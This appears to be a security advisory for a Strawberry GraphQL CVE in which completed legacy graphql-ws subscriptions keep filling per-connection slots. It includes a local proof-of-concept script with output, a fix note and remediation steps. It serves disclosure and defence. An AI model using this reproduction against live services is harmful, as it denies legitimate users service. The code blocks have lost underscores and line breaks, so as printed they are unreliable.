CVE-2026-107727: Strawberry legacy graphql-ws retains naturally completed subscription slots
Summary
Strawberry's legacy graphql-ws subscription handler can retain task and subscription bookkeeping after a one-shot subscription has naturally sent its complete message. When the application configures maxsubscriptionsperconnection, the handler counts those completed operations in len(self.tasks). A client that uses distinct operation IDs can therefore reach the configured subscription limit even though the earlier subscriptions have already completed, causing subsequent legitimate subscriptions on the same persistent WebSocket connection to receive Subscription limit reached.
This is a conditional connection-level availability and resource-accounting issue. It requires explicit use of the legacy graphql-ws protocol, a persistent WebSocket connection, one-shot subscriptions that naturally complete, and a configured maxsubscriptionsperconnection limit. It is not an unconditional issue in a default Strawberry installation and is distinct from the previously fixed single-connection infinite-subscription issue.
Details
The audited snapshot is Strawberry 0.324.4, commit c3caabd1188acda62045e7fd9ba9e37ac430cf96. The relevant implementation is in [strawberry/subscriptions/protocols/graphqlws/handlers.py](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphqlws/handlers.py), particularly the operation-start, result-handling, and cleanup paths.
When a new operation is started, the handler rejects it once the task count reaches the configured limit:
python if ( self.maxsubscriptionsperconnection is not None and len(self.tasks) >= self.maxsubscriptionsperconnection ): await self.sendmessage( ErrorMessage( type="error", id=operationid, payload={"message": "Subscription limit reached"}, ) ) return
The operation task is stored in self.tasks, and its result source is stored in self.subscriptions. On normal exhaustion of the result source, handleasyncresults() sends a completion message:
python async for result in resultsource: await self.senddatamessage(result, operationid)
await self.sendmessage( CompleteMessage(type="complete", id=operationid) )
The natural completion path does not call cleanupoperation() before returning. The deletion of the stored operation state is implemented separately:
python async def cleanupoperation(self, operationid: str) -> None: if operationid in self.subscriptions: await self.subscriptions[operationid].aclose() del self.subscriptions[operationid]
self.tasks[operationid].cancel() await self.tasks[operationid] del self.tasks[operationid]
Consequently, after a one-shot operation has sent complete, its task entry can remain in self.tasks until the client explicitly stops the operation, reuses the same operation ID, or the connection is cleaned up. New operation IDs are compared against the retained task count and can be rejected.
The connection-slot impact requires both parts of the behavior:
1. the natural-completion path leaves the completed operation accounted for; and 2. the legacy handler has maxsubscriptionsperconnection enabled.
PoC
The following reproduction is local-only and bounded. It uses an in-memory Channels WebSocket fixture, one connection, three one-shot subscriptions, and the legacy graphql-ws subprotocol. It does not connect to a public endpoint or start a network service.
1. Environment installation
Create an isolated virtual environment and install the official Channels integration extra together with the local ASGI test dependency:
bash python -m pip install "strawberry-graphql[channels]==0.324.4" daphne
For a different tested release, replace 0.324.4 and record the actual installed version. The test uses an in-memory Channels communicator and does not connect to a real server.
Record the actual versions before testing:
bash python -c "import sys, importlib.metadata as m; print(sys.version); print('strawberry-graphql:', m.version('strawberry-graphql')); print('channels:', m.version('channels')); print('Django:', m.version('Django')); print('asgiref:', m.version('asgiref'))"
2. Save the bounded test
Save the following as poc.py:
python import asyncio
from django.conf import settings
if not settings.configured: settings.configure( SECRETKEY="local-validation-only", CHANNELLAYERS={ "default": { "BACKEND": "channels.layers.InMemoryChannelLayer", } }, )
import strawberry from channels.testing import WebsocketCommunicator
from strawberry.channels.handlers.wshandler import GraphQLWSConsumer from strawberry.schema import Schema from strawberry.subscriptions import GRAPHQLWSPROTOCOL
@strawberry.type class Query: @strawberry.field def ping(self) -> str: return "pong"
@strawberry.type class Subscription: @strawberry.subscription async def oneshot(self) -> str: yield "marker"
schema = Schema(query=Query, subscription=Subscription)
application = GraphQLWSConsumer.asasgi( schema=schema, subscriptionprotocols=(GRAPHQLWSPROTOCOL,), maxsubscriptionsperconnection=2, )
async def receiveuntilcomplete(communicator, operationid): messages = [] for in range(3): message = await asyncio.waitfor( communicator.receivejsonfrom(), timeout=2 ) messages.append(message) if ( message.get("type") == "complete" and message.get("id") == operationid ): return messages raise AssertionError( f"no complete message for {operationid}: {messages}" )
async def main() -> None: communicator = WebsocketCommunicator( application, "/graphql", subprotocols=[GRAPHQLWSPROTOCOL], ) connected, acceptedprotocol = await communicator.connect() assert connected assert acceptedprotocol == GRAPHQLWSPROTOCOL
try: await communicator.sendjsonto({"type": "connectioninit"}) ack = await communicator.receivejsonfrom() assert ack["type"] == "connectionack"
query = "subscription { oneShot }"
await communicator.sendjsonto( { "type": "start", "id": "one", "payload": {"query": query}, } ) firstmessages = await receiveuntilcomplete( communicator, "one" )
await communicator.sendjsonto( { "type": "start", "id": "two", "payload": {"query": query}, } ) secondmessages = await receiveuntilcomplete( communicator, "two" )
# Allow completed handler tasks to finish their sends before the # third operation is started. await asyncio.sleep(0)
await communicator.sendjsonto( { "type": "start", "id": "three", "payload": {"query": query}, } ) thirdmessage = await asyncio.waitfor( communicator.receivejsonfrom(), timeout=2 )
print( { "first": firstmessages, "second": secondmessages, "third": thirdmessage, } ) finally: await communicator.disconnect()
asyncio.run(main())
3. Run
bash python poc.py
4. Expected results
A fixed implementation should send data and complete for both one and two, then permit three to start and complete.
The behavior is:
text { 'first': [ {'type': 'data', 'id': 'one', 'payload': {'data': {'oneShot': 'marker'}}}, {'type': 'complete', 'id': 'one'} ], 'second': [ {'type': 'data', 'id': 'two', 'payload': {'data': {'oneShot': 'marker'}}}, {'type': 'complete', 'id': 'two'} ], 'third': { 'type': 'error', 'id': 'three', 'payload': {'message': 'Subscription limit reached'} } }
The exact formatting and fields may vary slightly by Strawberry version, but the decisive observation is that one and two both receive complete, while three receives Subscription limit reached with a different operation ID.
Impact
When the legacy graphql-ws protocol and maxsubscriptionsperconnection are enabled, a client can fill the configured operation slots on its persistent connection with one-shot subscriptions that have already completed. Subsequent legitimate operations on that connection may be rejected even though no corresponding subscriptions remain active.
The primary demonstrated impact is connection-level availability and incorrect resource accounting. Multiple long-lived connections could increase the amount of retained task/subscription state, but this bounded test does not establish memory exhaustion or cross-connection denial of service.
Exposure depends on:
- the application explicitly enabling the legacy graphql-ws protocol; - the application configuring maxsubscriptionsperconnection; - clients being able to maintain a persistent WebSocket connection; - the resolver exposing a finite operation that naturally completes; - the absence of effective connection lifetime, connection-count, authorization, or rate limits.
This report does not claim impact on the modern graphql-transport-ws protocol, on applications without the per-connection cap, or on every deployment. It is distinct from the already fixed unlimited-subscription behavior.
Maintainer note
Confirmed and reproduced against 0.327.0. The maxsubscriptionsperconnection feature this affects was introduced in 0.312.3 (#4344), so the affected range is >= 0.312.3, <= 0.327.0.
Fixed by https://github.com/strawberry-graphql/strawberry/pull/4610: operations now release their slot when they complete on their own or fail before execution, and a late stop for a completed operation is a no-op. The fix was released in 0.327.2.
Other sources
Strawberry GraphQL is a library for creating GraphQL APIs. From 0.312.3 until 0.327.2, the legacy graphql-ws subscription handler in strawberry/subscriptions/protocols/graphqlws/handlers.py does not remove naturally completed operations from self.tasks and self.subscriptions. When maxsubscriptionsperconnection is configured, a client on a persistent WebSocket connection can use distinct operation IDs for one-shot subscriptions to fill the connection's configured slots even after those subscriptions send complete, causing later legitimate operations on that connection to be rejected with Subscription limit reached. The modern graphql-transport-ws protocol and deployments without the configured per-connection cap are not affected. This issue is fixed in version 0.327.2.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/strawberry-graphqlto a version that resolves this vulnerability.Fixed in 0.327.2 - Upgrade
Upgrade
strawberry-graphqlto a version that resolves this vulnerability.Fixed in 0.327.2
Event History
Frequently Asked Questions
Which deployments are affected?
Affected deployments use Strawberry GraphQL versions from 0.312.3 until 0.327.2, the legacy graphql-ws subscription protocol, and a configured max_subscriptions_per_connection limit. Deployments using graphql-transport-ws or without that per-connection cap are not affected.
What does an attacker need to do to trigger the issue?
An attacker needs to maintain a WebSocket connection and submit one-shot subscriptions with distinct operation IDs. Naturally completed subscriptions continue consuming the configured per-connection slots, so later operations on that same connection are rejected.
What is the impact on an affected connection?
The issue causes availability impact limited to the persistent WebSocket connection being filled. Legitimate later subscription operations on that connection can fail with "Subscription limit reached".
What should be done to remediate the issue?
Upgrade Strawberry GraphQL to version 0.327.2, which fixes the issue. If upgrading is not immediately possible, avoid using the legacy graphql-ws protocol or remove the configured per-connection subscription cap.